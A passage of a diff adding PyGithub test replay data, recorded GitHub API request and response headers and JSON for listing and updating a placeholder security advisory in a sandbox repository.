+{"id":239420449,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk0MjA0NDk=","name":"PyGithub","full_name":"JLLeitschuh/PyGithub","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/JLLeitschuh/PyGithub","forks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/deployments","created_at":"2020-02-10T03:37:20Z","updated_at":"2020-02-10T03:37:22Z","pushed_at":"2023-03-30T17:41:46Z","git_url":"git://github.com/JLLeitschuh/PyGithub.git","ssh_url":"git@github.com:JLLeitschuh/PyGithub.git","clone_url":"https://github.com/JLLeitschuh/PyGithub.git","svn_url":"https://github.com/JLLeitschuh/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13756,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":1612,"subscribers_count":1} + +https +GET +api.github.com +None +/repos/JLLeitschuh/PyGithub/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"73281061c5916d2c2206f8cbd00f491ff98cf740a6ee4b910fd1732ceee03bf9"'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '70'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'F5F5:1B0A:3C0D2F:7AE80D:64260736')] +[] diff --git a/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt b/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt new file mode 100644 index 0000000000..c9adfc8eac --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4949'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '51'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF6:0CD0:83CCF:1112F8:642C2A7A')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc245445c2b0e27c99c03fb12288237c4aabfa6eaebf41e015bacf4d9a586a64"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:44:45 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '52'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF7:69B4:27DBB3:516052:642C2A7A')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:44:45Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"}],"cwe_ids":["CWE-402"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLe